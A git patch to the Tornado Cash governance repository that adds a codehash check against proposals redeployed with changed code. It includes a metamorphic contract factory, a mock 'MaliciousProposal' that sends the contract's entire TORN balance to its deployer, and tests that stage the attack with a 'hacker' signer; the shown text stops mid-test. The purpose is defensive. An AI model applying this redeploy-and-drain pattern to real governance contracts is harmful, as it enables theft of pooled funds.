From c8507739d2af9aea9bbdd89b1a1927a9fc664ff9 Mon Sep 17 00:00:00 2001 From: AlienTornadosaurusHex <> Date: Mon, 22 May 2023 18:23:39 +0000 Subject: [PATCH] include tests with metamorphic factory Signed-off-by: AlienTornadosaurusHex <> --- README.md | 9 + contracts/v4-patch/GovernancePatchUpgrade.sol | 7 +- contracts/v4-patch/PatchProposal.sol | 6 +- .../MetamorphicContractFactory.sol | 566 ++++++++++++++++++ contracts/v4-patch/mock/MockProposals.sol | 32 + diffs/RelayerRegistry.diff | 96 +++ diffs/TornadoStakingRewards.diff | 28 + hardhat.config.js | 13 +- test/patch/patch.test.js | 316 ++++++++-- 9 files changed, 1002 insertions(+), 71 deletions(-) create mode 100644 contracts/v4-patch/metamorphic/MetamorphicContractFactory.sol create mode 100644 contracts/v4-patch/mock/MockProposals.sol create mode 100644 diffs/RelayerRegistry.diff create mode 100644 diffs/TornadoStakingRewards.diff diff --git a/README.md b/README.md index 756e186..78a39d8 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,12 @@ +# Governance upgrade to patch exploit vulnerability + +The contracts can be currently found here: + +* [GovernancePatchUpgrade](./contracts/v4-patch/GovernancePatchUpgrade.sol) +* [PatchProposal](./contracts/v4-patch/PatchProposal.sol) + +Inlined version of the `RelayerRegistry` and `TornadoStakingRewards` are also used. Check the `diffs` folder to see how much they deviate from the `relayer-registry` repository reconstruction. VSC will possibly show red as "added". + # Tornado governance [![build status](https://github.com/tornadocash/tornado-governance/actions/workflows/build.yml/badge.svg)](https://github.com/tornadocash/tornado-governance/actions/workflows/build.yml) [![Coverage Status](https://coveralls.io/repos/github/tornadocash/tornado-governance/badge.svg?branch=master)](https://coveralls.io/github/tornadocash/tornado-governance?branch=master) ## Description diff --git a/contracts/v4-patch/GovernancePatchUpgrade.sol b/contracts/v4-patch/GovernancePatchUpgrade.sol index 92ddbc0..3799212 100644 --- a/contracts/v4-patch/GovernancePatchUpgrade.sol +++ b/contracts/v4-patch/GovernancePatchUpgrade.sol @@ -35,10 +35,13 @@ contract GovernancePatchUpgrade is GovernanceStakingUpgrade { if (proposalCodehash == proposalCodehashes[proposalId]) { super.execute(proposalId); } else { - // Note that this is the easiest way to block further execution + // So this should guarantee that the proposal should not be able to be executed in future + // But also, the proposal will be skipped each time. So the question is whether this, a silent + // skip, or a require can be used to stay "concise", and abandon the safety of having also this assign + // Outside dependencies, which don't exist as of yet, might believe that the proposal code was executed proposal.executed = true; - // Let the event signify it was broken + // Let the event signify it was metamorphic emit CodehashDifferent(target, proposalCodehashes[proposalId], proposalCodehash); } } diff --git a/contracts/v4-patch/PatchProposal.sol b/contracts/v4-patch/PatchProposal.sol index cd9e8f1..657c6f6 100644 --- a/contracts/v4-patch/PatchProposal.sol +++ b/contracts/v4-patch/PatchProposal.sol @@ -18,7 +18,7 @@ interface Proxy { // We will have to do this because of the contract size limit -contract ProposalContractFactory { +contract ProposalContractsFactory { function createStakingRewards( address governance, address torn, @@ -48,10 +48,10 @@ contract PatchProposal { IERC20 public constant TORN = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C); - ProposalContractFactory public immutable proposalContractFactory; + ProposalContractsFactory public immutable proposalContractFactory; constructor(address _proposalContractFactory) public { - proposalContractFactory = ProposalContractFactory(_proposalContractFactory); + proposalContractFactory = ProposalContractsFactory(_proposalContractFactory); } // Aight lets do this sirs diff --git a/contracts/v4-patch/metamorphic/MetamorphicContractFactory.sol b/contracts/v4-patch/metamorphic/MetamorphicContractFactory.sol new file mode 100644 index 0000000..5aeb75c --- /dev/null +++ b/contracts/v4-patch/metamorphic/MetamorphicContractFactory.sol @@ -0,0 +1,566 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.5.6; + +/** + * @title Metamorphic Contract Factory + * @author 0age + * @notice This contract creates metamorphic contracts, or contracts that can be + * redeployed with new code to the same address. It does so by deploying a + * contract with fixed, non-deterministic initialization code via the CREATE2 + * opcode. This contract clones the implementation contract in its constructor. + * Once a contract undergoes metamorphosis, all existing storage will be deleted + * and any existing contract code will be replaced with the deployed contract + * code of the new implementation contract. + * @dev CREATE2 will not be available on mainnet until (at least) block + * 7,280,000. This contract has not yet been fully tested or audited - proceed + * with caution and please share any exploits or optimizations you discover. + */ +contract MetamorphicContractFactory { + // fires when a metamorphic contract is deployed by cloning another contract. + event Metamorphosed(address metamorphicContract, address newImplementation); + + // fires when a metamorphic contract is deployed through a transient contract. + event MetamorphosedWithConstructor(address metamorphicContract, address transientContract); + + // store the initialization code for metamorphic contracts. + bytes private _metamorphicContractInitializationCode; + + // store hash of the initialization code for metamorphic contracts as well. + bytes32 private _metamorphicContractInitializationCodeHash; + + // store init code for transient contracts that deploy metamorphic contracts. + bytes private _transientContractInitializationCode; + + // store the hash of the initialization code for transient contracts as well. + bytes32 private _transientContractInitializationCodeHash; + + // maintain a mapping of metamorphic contracts to metamorphic implementations. + mapping(address => address) private _implementations; + + // maintain a mapping of transient contracts to metamorphic init codes. + mapping(address => bytes) private _initCodes; + + /** + * @dev In the constructor, set up the initialization code for metamorphic + * contracts as well as the keccak256 hash of the given initialization code. + * @param transientContractInitializationCode bytes The initialization code + * that will be used to deploy any transient contracts, which will deploy any + * metamorphic contracts that require the use of a constructor. + * + * Metamorphic contract initialization code (29 bytes): + * + * 0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3 + * + * Description: + * + * pc|op|name | [stack] | + * + * ** set the first stack item to zero - used later ** + * 00 58 getpc [0] <> + * + * ** set second stack item to 32, length of word returned from staticcall ** + * 01 60 push1 + * 02 20 outsize [0, 32] <> + * + * ** set third stack item to 0, position of word returned from staticcall ** + * 03 81 dup2 [0, 32, 0] <> + * + * ** set fourth stack item to 4, length of selector given to staticcall ** + * 04 58 getpc [0, 32, 0, 4] <> + * + * ** set fifth stack item to 28, position of selector given to staticcall ** + * 05 60 push1 + * 06 1c inpos [0, 32, 0, 4, 28] <> + * + * ** set the sixth stack item to msg.sender, target address for staticcall ** + * 07 33 caller [0, 32, 0, 4, 28, caller] <> + * + * ** set the seventh stack item to msg.gas, gas to forward for staticcall ** + * 08 5a gas [0, 32, 0, 4, 28, caller, gas] <> + * + * ** set the eighth stack item to selector, "what" to store via mstore ** + * 09 63 push4 + * 10 aaf10f42 selector [0, 32, 0, 4, 28, caller, gas, 0xaaf10f42] <> + * + * ** set the ninth stack item to 0, "where" to store via mstore *** + * 11 87 dup8 [0, 32, 0, 4, 28, caller, gas, 0xaaf10f42, 0] <> + * + * ** call mstore, consume 8 and 9 from the stack, place selector in memory ** + * 12 52 mstore [0, 32, 0, 4, 0, caller, gas] <0xaaf10f42> + * + * ** call staticcall, consume items 2 through 7, place address in memory ** + * 13 fa staticcall [0, 1 (if successful)]
+ * + * ** flip success bit in second stack item to set to 0 ** + * 14 15 iszero [0, 0]
+ * + * ** push a third 0 to the stack, position of address in memory ** + * 15 81 dup2 [0, 0, 0]
+ * + * ** place address from position in memory onto third stack item ** + * 16 51 mload [0, 0, address] <> + * + * ** place address to fourth stack item for extcodesize to consume ** + * 17 80 dup1 [0, 0, address, address] <> + * + * ** get extcodesize on fourth stack item for extcodecopy ** + * 18 3b extcodesize [0, 0, address, size] <> + * + * ** dup and swap size for use by return at end of init code ** + * 19 80 dup1 [0, 0, address, size, size] <> + * 20 93 swap4 [size, 0, address, size, 0] <> + * + * ** push code position 0 to stack and reorder stack items for extcodecopy ** + * 21 80 dup1 [size, 0, address, size, 0, 0] <> + * 22 91 swap2 [size, 0, address, 0, 0, size] <> + * 23 92 swap3 [size, 0, size, 0, 0, address] <> + * + * ** call extcodecopy, consume four items, clone runtime code to memory ** + * 24 3c extcodecopy [size, 0] + * + * ** return to deploy final code in memory ** + * 25 f3 return [] *deployed!* + * + * + * Transient contract initialization code derived from TransientContract.sol. + */ + constructor(bytes memory transientContractInitializationCode) public { + // assign the initialization code for the metamorphic contract. + _metamorphicContractInitializationCode = (hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3"); + + // calculate and assign keccak256 hash of metamorphic initialization code. + _metamorphicContractInitializationCodeHash = keccak256(abi.encodePacked(_metamorphicContractInitializationCode)); + + // store the initialization code for the transient contract. + _transientContractInitializationCode = transientContractInitializationCode; + + // calculate and assign keccak256 hash of transient initialization code. + _transientContractInitializationCodeHash = keccak256(abi.encodePacked(_transientContractInitializationCode)); + } + + /* solhint-disable function-max-lines */ + /** + * @dev Deploy a metamorphic contract by submitting a given salt or nonce + * along with the initialization code for the metamorphic contract, and + * optionally provide calldata for initializing the new metamorphic contract. + * To replace the contract, first selfdestruct the current contract, then call + * with the same salt value and new initialization code (be aware that all + * existing state will be wiped from the existing contract). Also note that + * the first 20 bytes of the salt must match the calling address, which + * prevents contracts from being created by unintended parties. + * @param salt bytes32 The nonce that will be passed into the CREATE2 call and + * thus will determine the resulant address of the metamorphic contract. + * @param implementationContractInitializationCode bytes The initialization + * code for the implementation contract for the metamorphic contract. It will + * be used to deploy a new contract that the metamorphic contract will then + * clone in its constructor. + * @param metamorphicContractInitializationCalldata bytes An optional data + * parameter that can be used to atomically initialize the metamorphic + * contract. + * @return Address of the metamorphic contract that will be created. + */ + function deployMetamorphicContract( + bytes32 salt, + bytes calldata implementationContractInitializationCode, + bytes calldata metamorphicContractInitializationCalldata + ) external payable containsCaller(salt) returns (address metamorphicContractAddress) { + // move implementation init code and initialization calldata to memory. + bytes memory implInitCode = implementationContractInitializationCode; + bytes memory data = metamorphicContractInitializationCalldata; + + // move the initialization code from storage to memory. + bytes memory initCode = _metamorphicContractInitializationCode; + + // declare variable to verify successful metamorphic contract deployment. + address deployedMetamorphicContract; + + // determine the address of the metamorphic contract. + metamorphicContractAddress = _getMetamorphicContractAddress(salt); + + // declare a variable for the address of the implementation contract. + address implementationContract; + + // load implementation init code and length, then deploy via CREATE. + /* solhint-disable no-inline-assembly */ + assembly { + let encoded_data := add(0x20, implInitCode) // load initialization code. + let encoded_size := mload(implInitCode) // load init code's length. + implementationContract := create( + // call CREATE with 3 arguments. + 0, // do not forward any endowment. + encoded_data, // pass in initialization code. + encoded_size // pass in init code's length. + ) + } /* solhint-enable no-inline-assembly */ + + require(implementationContract != address(0), "Could not deploy implementation."); + + // store the implementation to be retrieved by the metamorphic contract. + _implementations[metamorphicContractAddress] = implementationContract; + + // load metamorphic contract data and length of data and deploy via CREATE2. + /* solhint-disable no-inline-assembly */ + assembly { + let encoded_data := add(0x20, initCode) // load initialization code. + let encoded_size := mload(initCode) // load the init code's length. + deployedMetamorphicContract := create2( + // call CREATE2 with 4 arguments. + 0, // do not forward any endowment. + encoded_data, // pass in initialization code. + encoded_size, // pass in init code's length. + salt // pass in the salt value. + ) + } /* solhint-enable no-inline-assembly */ + + // ensure that the contracts were successfully deployed. + require(deployedMetamorphicContract == metamorphicContractAddress, "Failed to deploy the new metamorphic contract."); + + // initialize the new metamorphic contract if any data or value is provided. + if (data.length > 0 || msg.value > 0) { + /* solhint-disable avoid-call-value */ + (bool success, ) = deployedMetamorphicContract.call.value(msg.value)(data); + /* solhint-enable avoid-call-value */ + + require(success, "Failed to initialize the new metamorphic contract."); + } + + emit Metamorphosed(deployedMetamorphicContract, implementationContract); + } /* solhint-enable function-max-lines */ + + /** + * @dev Deploy a metamorphic contract by submitting a given salt or nonce + * along with the address of an existing implementation contract to clone, and + * optionally provide calldata for initializing the new metamorphic contract. + * To replace the contract, first selfdestruct the current contract, then call + * with the same salt value and a new implementation address (be aware that + * all existing state will be wiped from the existing contract). Also note + * that the first 20 bytes of the salt must match the calling address, which + * prevents contracts from being created by unintended parties. + * @param salt bytes32 The nonce that will be passed into the CREATE2 call and + * thus will determine the resulant address of the metamorphic contract. + * @param implementationContract address The address of the existing + * implementation contract to clone. + * @param metamorphicContractInitializationCalldata bytes An optional data + * parameter that can be used to atomically initialize the metamorphic + * contract. + * @return Address of the metamorphic contract that will be created. + */ + function deployMetamorphicContractFromExistingImplementation( + bytes32 salt, + address implementationContract, + bytes calldata metamorphicContractInitializationCalldata + ) external payable containsCaller(salt) returns (address metamorphicContractAddress) { + // move initialization calldata to memory. + bytes memory data = metamorphicContractInitializationCalldata; + + // move the initialization code from storage to memory. + bytes memory initCode = _metamorphicContractInitializationCode; + + // declare variable to verify successful metamorphic contract deployment. + address deployedMetamorphicContract; + + // determine the address of the metamorphic contract. + metamorphicContractAddress = _getMetamorphicContractAddress(salt); + + // store the implementation to be retrieved by the metamorphic contract. + _implementations[metamorphicContractAddress] = implementationContract; + + // using inline assembly: load data and length of data, then call CREATE2. + /* solhint-disable no-inline-assembly */ + assembly { + let encoded_data := add(0x20, initCode) // load initialization code. + let encoded_size := mload(initCode) // load the init code's length. + deployedMetamorphicContract := create2( + // call CREATE2 with 4 arguments. + 0, // do not forward any endowment. + encoded_data, // pass in initialization code. + encoded_size, // pass in init code's length. + salt // pass in the salt value. + ) + } /* solhint-enable no-inline-assembly */ + + // ensure that the contracts were successfully deployed. + require(deployedMetamorphicContract == metamorphicContractAddress, "Failed to deploy the new metamorphic contract."); + + // initialize the new metamorphic contract if any data or value is provided. + if (data.length > 0 || msg.value > 0) { + /* solhint-disable avoid-call-value */ + (bool success, ) = metamorphicContractAddress.call.value(msg.value)(data); + /* solhint-enable avoid-call-value */ + + require(success, "Failed to initialize the new metamorphic contract."); + } + + emit Metamorphosed(deployedMetamorphicContract, implementationContract); + } + + /* solhint-disable function-max-lines */ + /** + * @dev Deploy a metamorphic contract by submitting a given salt or nonce + * along with the initialization code to a transient contract which will then + * deploy the metamorphic contract before immediately selfdestructing. To + * replace the metamorphic contract, first selfdestruct the current contract, + * then call with the same salt value and new initialization code (be aware + * that all existing state will be wiped from the existing contract). Also + * note that the first 20 bytes of the salt must match the calling address, + * which prevents contracts from being created by unintended parties. + * @param salt bytes32 The nonce that will be passed into the CREATE2 call and + * thus will determine the resulant address of the metamorphic contract. + * @param initializationCode bytes The initialization code for the metamorphic + * contract that will be deployed by the transient contract. + * @return Address of the metamorphic contract that will be created. + */ + function deployMetamorphicContractWithConstructor(bytes32 salt, bytes calldata initializationCode) + external + payable + containsCaller(salt) + returns (address metamorphicContractAddress) + { + // move transient contract initialization code from storage to memory. + bytes memory initCode = _transientContractInitializationCode; + + // declare variable to verify successful transient contract deployment. + address deployedTransientContract; + + // determine the address of the transient contract. + address transientContractAddress = _getTransientContractAddress(salt); + + // store the initialization code to be retrieved by the transient contract. + _initCodes[transientContractAddress] = initializationCode; + + // load transient contract data and length of data, then deploy via CREATE2. + /* solhint-disable no-inline-assembly */ + assembly { + let encoded_data := add(0x20, initCode) // load initialization code. + let encoded_size := mload(initCode) // load the init code's length. + deployedTransientContract := create2( + // call CREATE2 with 4 arguments. + callvalue, // forward any supplied endowment. + encoded_data, // pass in initialization code. + encoded_size, // pass in init code's length. + salt // pass in the salt value. + ) + } /* solhint-enable no-inline-assembly */ + + // ensure that the contracts were successfully deployed. + require( + deployedTransientContract == transientContractAddress, + "Failed to deploy metamorphic contract using given salt and init code." + ); + + metamorphicContractAddress = _getMetamorphicContractAddressWithConstructor(transientContractAddress); + + emit MetamorphosedWithConstructor(metamorphicContractAddress, transientContractAddress); + } /* solhint-enable function-max-lines */ + + /** + * @dev View function for retrieving the address of the implementation + * contract to clone. Called by the constructor of each metamorphic contract. + */ + function getImplementation() external view returns (address implementation) { + return _implementations[msg.sender]; + } + + /** + * @dev View function for retrieving the initialization code for a given + * metamorphic contract to deploy via a transient contract. Called by the + * constructor of each transient contract. + * @return The initialization code to use to deploy the metamorphic contract. + */ + function getInitializationCode() external view returns (bytes memory initializationCode) { + return _initCodes[msg.sender]; + } + + /** + * @dev View function for retrieving the address of the current implementation + * contract of a given metamorphic contract, where the address of the contract + * is supplied as an argument. Be aware that the implementation contract has + * an independent state and may have been altered or selfdestructed from when + * it was last cloned by the metamorphic contract. + * @param metamorphicContractAddress address The address of the metamorphic + * contract. + * @return Address of the corresponding implementation contract. + */ + function getImplementationContractAddress(address metamorphicContractAddress) + external + view + returns (address implementationContractAddress) + { + return _implementations[metamorphicContractAddress]; + } + + /** + * @dev View function for retrieving the initialization code for a given + * metamorphic contract instance deployed via a transient contract, where the address + * of the transient contract is supplied as an argument. + * @param transientContractAddress address The address of the transient + * contract that deployed the metamorphic contract. + * @return The initialization code used to deploy the metamorphic contract. + */ + function getMetamorphicContractInstanceInitializationCode(address transientContractAddress) + external + view + returns (bytes memory initializationCode) + { + return _initCodes[transientContractAddress]; + } + + /** + * @dev Compute the address of the metamorphic contract that will be created + * upon submitting a given salt to the contract. + * @param salt bytes32 The nonce passed into CREATE2 by metamorphic contract. + * @return Address of the corresponding metamorphic contract. + */ + function findMetamorphicContractAddress(bytes32 salt) external view returns (address metamorphicContractAddress) { + // determine the address where the metamorphic contract will be deployed. + metamorphicContractAddress = _getMetamorphicContractAddress(salt); + } + + /** + * @dev Compute the address of the transient contract that will be created + * upon submitting a given salt to the contract. + * @param salt bytes32 The nonce passed into CREATE2 when deploying the + * transient contract. + * @return Address of the corresponding transient contract. + */ + function findTransientContractAddress(bytes32 salt) external view returns (address transientContractAddress) { + // determine the address where the transient contract will be deployed. + transientContractAddress = _getTransientContractAddress(salt); + } + + /** + * @dev Compute the address of the metamorphic contract that will be created + * by the transient contract upon submitting a given salt to the contract. + * @param salt bytes32 The nonce passed into CREATE2 when deploying the + * transient contract. + * @return Address of the corresponding metamorphic contract. + */ + function findMetamorphicContractAddressWithConstructor(bytes32 salt) + external + view + returns (address metamorphicContractAddress) + { + // determine the address of the metamorphic contract. + metamorphicContractAddress = _getMetamorphicContractAddressWithConstructor(_getTransientContractAddress(salt)); + } + + /** + * @dev View function for retrieving the initialization code of metamorphic + * contracts for purposes of verification. + */ + function getMetamorphicContractInitializationCode() external view returns (bytes memory metamorphicContractInitializationCode) { + return _metamorphicContractInitializationCode; + } + + /** + * @dev View function for retrieving the keccak256 hash of the initialization + * code of metamorphic contracts for purposes of verification. + */ + function getMetamorphicContractInitializationCodeHash() + external + view + returns (bytes32 metamorphicContractInitializationCodeHash) + { + return _metamorphicContractInitializationCodeHash; + } + + /** + * @dev View function for retrieving the initialization code of transient + * contracts for purposes of verification. + */ + function getTransientContractInitializationCode() external view returns (bytes memory transientContractInitializationCode) { + return _transientContractInitializationCode; + } + + /** + * @dev View function for retrieving the keccak256 hash of the initialization + * code of transient contracts for purposes of verification. + */ + function getTransientContractInitializationCodeHash() external view returns (bytes32 transientContractInitializationCodeHash) { + return _transientContractInitializationCodeHash; + } + + /** + * @dev Internal view function for calculating a metamorphic contract address + * given a particular salt. + */ + function _getMetamorphicContractAddress(bytes32 salt) internal view returns (address) { + // determine the address of the metamorphic contract. + return + address( + uint160( // downcast to match the address type. + uint256( // convert to uint to truncate upper digits. + keccak256( // compute the CREATE2 hash using 4 inputs. + abi.encodePacked( // pack all inputs to the hash together. + hex"ff", // start with 0xff to distinguish from RLP. + address(this), // this contract will be the caller. + salt, // pass in the supplied salt value. + _metamorphicContractInitializationCodeHash // the init code hash. + ) + ) + ) + ) + ); + } + + /** + * @dev Internal view function for calculating a transient contract address + * given a particular salt. + */ + function _getTransientContractAddress(bytes32 salt) internal view returns (address) { + // determine the address of the transient contract. + return + address( + uint160( // downcast to match the address type. + uint256( // convert to uint to truncate upper digits. + keccak256( // compute the CREATE2 hash using 4 inputs. + abi.encodePacked( // pack all inputs to the hash together. + hex"ff", // start with 0xff to distinguish from RLP. + address(this), // this contract will be the caller. + salt, // pass in the supplied salt value. + _transientContractInitializationCodeHash // supply init code hash. + ) + ) + ) + ) + ); + } + + /** + * @dev Internal view function for calculating a metamorphic contract address + * that has been deployed via a transient contract given the address of the + * transient contract. + */ + function _getMetamorphicContractAddressWithConstructor(address transientContractAddress) internal pure returns (address) { + // determine the address of the metamorphic contract. + return + address( + uint160( // downcast to match the address type. + uint256( // set to uint to truncate upper digits. + keccak256( // compute CREATE hash via RLP encoding. + abi.encodePacked( // pack all inputs to the hash together. + bytes1(0xd6), // first RLP byte. + bytes1(0x94), // second RLP byte. + transientContractAddress, // called by the transient contract. + bytes1(0x01) // nonce begins at 1 for contracts. + ) + ) + ) + ) + ); + } + + /** + * @dev Modifier to ensure that the first 20 bytes of a submitted salt match + * those of the calling account. This provides protection against the salt + * being stolen by frontrunners or other attackers. + * @param salt bytes32 The salt value to check against the calling address. + */ + modifier containsCaller(bytes32 salt) { + // prevent contract submissions from being stolen from tx.pool by requiring + // that the first 20 bytes of the submitted salt match msg.sender. + require(address(bytes20(salt)) == msg.sender, "Invalid salt - first 20 bytes of the salt must match calling address."); + _; + } +} diff --git a/contracts/v4-patch/mock/MockProposals.sol b/contracts/v4-patch/mock/MockProposals.sol new file mode 100644 index 0000000..2feb8e1 --- /dev/null +++ b/contracts/v4-patch/mock/MockProposals.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.6.12; +pragma experimental ABIEncoderV2; + +import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract InitialProposal { + event MockExecuted(uint256 num); + + function executeProposal() external virtual { + emit MockExecuted(1); + } + + function emergencyStop() public { + selfdestruct(payable(0)); + } +} + +contract MaliciousProposal is InitialProposal { + address public immutable deployer; + + constructor() public { + deployer = msg.sender; + } + + function executeProposal() external virtual override { + IERC20 torn = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C); + uint256 bal = torn.balanceOf(address(this)); + torn.transfer(deployer, bal); + } +} diff --git a/diffs/RelayerRegistry.diff b/diffs/RelayerRegistry.diff new file mode 100644 index 0000000..d42c956 --- /dev/null +++ b/diffs/RelayerRegistry.diff @@ -0,0 +1,96 @@ +10a11 +> import { ENSNamehash } from "./utils/ENSNamehash.sol"; +12c13,14 +< import { TornadoStakingRewards } from "./TornadoStakingRewards.sol"; +--- +> import { TornadoStakingRewards } from "./staking/TornadoStakingRewards.sol"; +> import { IENS } from "./interfaces/IENS.sol"; +14,77c16,17 +< interface ITornadoInstance { +< function token() external view returns (address); +< +< function denomination() external view returns (uint256); +< +< function deposit(bytes32 commitment) external payable; +< +< function withdraw( +< bytes calldata proof, +< bytes32 root, +< bytes32 nullifierHash, +< address payable recipient, +< address payable relayer, +< uint256 fee, +< uint256 refund +< ) external payable; +< } +< +< interface IENS { +< function owner(bytes32 node) external view returns (address); +< } +< +< /* +< * @dev Solidity implementation of the ENS namehash algorithm. +< * +< * Warning! Does not normalize or validate names before hashing. +< * Original version can be found here https://github.com/JonahGroendal/ens-namehash/ +< */ +< library ENSNamehash { +< function namehash(bytes memory domain) internal pure returns (bytes32) { +< return namehash(domain, 0); +< } +< +< function namehash(bytes memory domain, uint256 i) internal pure returns (bytes32) { +< if (domain.length <= i) return 0x0000000000000000000000000000000000000000000000000000000000000000; +< +< uint256 len = labelLength(domain, i); +< +< return keccak256(abi.encodePacked(namehash(domain, i + len + 1), keccak(domain, i, len))); +< } +< +< function labelLength(bytes memory domain, uint256 i) private pure returns (uint256) { +< uint256 len; +< while (i + len != domain.length && domain[i + len] != 0x2e) { +< len++; +< } +< return len; +< } +< +< function keccak( +< bytes memory data, +< uint256 offset, +< uint256 len +< ) private pure returns (bytes32 ret) { +< require(offset + len <= data.length); +< assembly { +< ret := keccak256(add(add(data, 32), offset), len) +< } +< } +< } +< +< interface IFeeManager { +< function instanceFeeWithUpdate(ITornadoInstance _instance) external returns (uint160); +< } +--- +> import "./tornado-proxy/TornadoRouter.sol"; +> import "./tornado-proxy/FeeManager.sol"; +106c46 +< IFeeManager public immutable feeManager; +--- +> FeeManager public immutable feeManager; +142,143c82,83 +< address _staking, +< address _feeManager +--- +> bytes32 _staking, +> bytes32 _feeManager +148,149c88,89 +< staking = TornadoStakingRewards(_staking); +< feeManager = IFeeManager(_feeManager); +--- +> staking = TornadoStakingRewards(resolve(_staking)); +> feeManager = FeeManager(resolve(_feeManager)); +384c324 +< } +--- +> } +\ No newline at end of file diff --git a/diffs/TornadoStakingRewards.diff b/diffs/TornadoStakingRewards.diff new file mode 100644 index 0000000..8f9bb17 --- /dev/null +++ b/diffs/TornadoStakingRewards.diff @@ -0,0 +1,28 @@ +11,20c11 +< +< interface ITornadoVault { +< function withdrawTorn(address recipient, uint256 amount) external; +< } +< +< interface ITornadoGovernance { +< function lockedBalance(address account) external view returns (uint256); +< +< function userVault() external view returns (ITornadoVault); +< } +--- +> import { ITornadoGovernance } from "../interfaces/ITornadoGovernance.sol"; +54d44 +< // Minor code change here we won't resolve the registry by ENS +58c48 +< address _relayerRegistry +--- +> bytes32 _relayerRegistry +62c52 +< relayerRegistry = _relayerRegistry; +--- +> relayerRegistry = resolve(_relayerRegistry); +143c133 +< } +--- +> } +\ No newline at end of file diff --git a/hardhat.config.js b/hardhat.config.js index 06998e9..1de94bc 100644 --- a/hardhat.config.js +++ b/hardhat.config.js @@ -25,13 +25,22 @@ module.exports = { }, }, }, + { + version: '0.5.6', + settings: { + optimizer: { + enabled: true, + runs: 1000, + }, + }, + }, ], }, networks: { hardhat: { forking: { url: `${process.env.RPC_URL}`, - timeout: 2147483647, + timeout: 9999999999, }, initialBaseFeePerGas: 5, }, @@ -42,7 +51,7 @@ module.exports = { mainnet: { url: `${process.env.RPC_URL}`, //accounts: [`${process.env.PK}`], - timeout: 2147483647, + timeout: 9999999999, }, }, mocha: { timeout: 9999999999 }, diff --git a/test/patch/patch.test.js b/test/patch/patch.test.js index d44d2c0..382e000 100644 --- a/test/patch/patch.test.js +++ b/test/patch/patch.test.js @@ -1,23 +1,12 @@ const { expect } = require('chai') const { ethers } = require('hardhat') const { BigNumber } = require('@ethersproject/bignumber') -const { propose } = require('../../scripts/helper/propose_proposal.js') const config = require('../../config') -const { getSignerFromAddress, takeSnapshot, revertSnapshot, advanceTime } = require('../utils') +const { takeSnapshot, revertSnapshot } = require('../utils') -function printBalanceWithDescription(descr, bn) { - console.log( - `\n ${descr} => ${ - bn.div(BigNumber.from(10).pow(18)).toString() + - '.' + - bn.div(BigNumber.from(10).pow(14)).toString().slice(-4) - }`, - ) -} - -describe('V3 governance tests', () => { +describe('Gov Exploit Patch Upgrade Tests', () => { const zero = BigNumber.from(0) const ProposalState = { @@ -53,20 +42,29 @@ describe('V3 governance tests', () => { return _periods } - let quorumVotes - - let GovernanceContract - let TornToken - - let provider - let tornwhale let proposer - let propfacfac - let propfac + let initialProposalDeployer + let maliciousProposalDeployer + + let initialProposalImpl + let maliciousProposalImpl + + let proposalContractsDeployer + let proposalDeployer + + let proposerBalanceInitial + let torn - let gov + let governance + let metamorphicFactory + + let exploit = { + hacker: undefined, + salt: '00000000006578706c6f6974', // hex "exploit", hacker addrs must be prepended + address: '0x0000000000000000000000000000000000000000', // Has to be filled + } // From other tests @@ -79,14 +77,6 @@ describe('V3 governance tests', () => { await ethers.provider.send('evm_mine', []) } - let sendr = async (method, params) => { - return await ethers.provider.send(method, params) - } - - let clog = (...x) => { - console.log(x) - } - let pE = (x) => { return ethers.utils.parseEther(`${x}`) } @@ -97,11 +87,15 @@ describe('V3 governance tests', () => { // Pick our signer proposer = (await ethers.getSigners())[2] + // Prepare hacker signer and salt + exploit.hacker = (await ethers.getSigners())[3] + exploit.salt = exploit.hacker.address + exploit.salt + // Ok get current gov - gov = (await ethers.getContractAt('GovernanceStakingUpgrade', config.governance)).connect(proposer) + governance = (await ethers.getContractAt('GovernanceStakingUpgrade', config.governance)).connect(proposer) // Impersonate - await sendr('hardhat_impersonateAccount', [config.governance]) + await ethers.provider.send('hardhat_impersonateAccount', [config.governance]) // Pick whale tornwhale = ethers.provider.getSigner(config.governance) @@ -113,58 +107,86 @@ describe('V3 governance tests', () => { await ethers.provider.send('hardhat_setBalance', [proposer.address, pE(10).toHexString()]) // Take gov balance - const govbal = await torn.balanceOf(gov.address) + const govbal = await torn.balanceOf(governance.address) // Transfer - await torn.transfer(proposer.address, govbal) + await torn.transfer(proposer.address, govbal.div(2)) + + // Note bal + proposerBalanceInitial = await torn.balanceOf(proposer.address) // Check bal was allocated - expect(await torn.balanceOf(proposer.address)).to.equal(govbal) + expect(await torn.balanceOf(proposer.address)).to.equal(govbal.div(2)) // Connect torn = torn.connect(proposer) - periods = await setPeriods(periods, gov) + // Allow torn to be locked + await torn.approve(governance.address, proposerBalanceInitial) - // Factory of the proposal - propfacfac = await ethers.getContractFactory('ProposalContractFactory') - propfac = await ethers.getContractFactory('PatchProposal') + // Lock it + await governance.connect(proposer).lockWithApproval(proposerBalanceInitial) + + // Get the proposal periods for say executing, voting, and so on + periods = await setPeriods(periods, governance) + + // Contracts factories + + initialProposalDeployer = await ethers.getContractFactory('InitialProposal') + maliciousProposalDeployer = await ethers.getContractFactory('MaliciousProposal') + proposalContractsDeployer = await ethers.getContractFactory('ProposalContractsFactory') + proposalDeployer = await ethers.getContractFactory('PatchProposal') + + // Metamorphic & Exploit + + metamorphicFactory = ( + await ethers.getContractAt('MetamorphicContractFactory', '0x00000000e82eb0431756271F0d00CFB143685e7B') + ).connect(exploit.hacker) + + initialProposalImpl = await initialProposalDeployer.deploy() + maliciousProposalImpl = await maliciousProposalDeployer.deploy() + + exploit.address = await metamorphicFactory.findMetamorphicContractAddress(exploit.salt) + + // Snapshot snapshotId = await takeSnapshot() }) - afterEach(async () => { - await revertSnapshot(snapshotId) - snapshotId = await takeSnapshot() - }) + describe('Integrative: Patched Governance', () => { + after(async () => { + await revertSnapshot(snapshotId) + snapshotId = await takeSnapshot() + }) - describe('Patch: Main integrative', () => { - it('Should be able to pass all predicates concerning patch update', async () => { - // Load these vars + it('Should be able to execute the proposal', async () => { + // Load these storage variables for comparison - const oldVaultAddr = await gov.userVault() - const oldGasCompAddr = await gov.gasCompensationVault() - const oldStaking = await gov.Staking() - - const govBalBef = 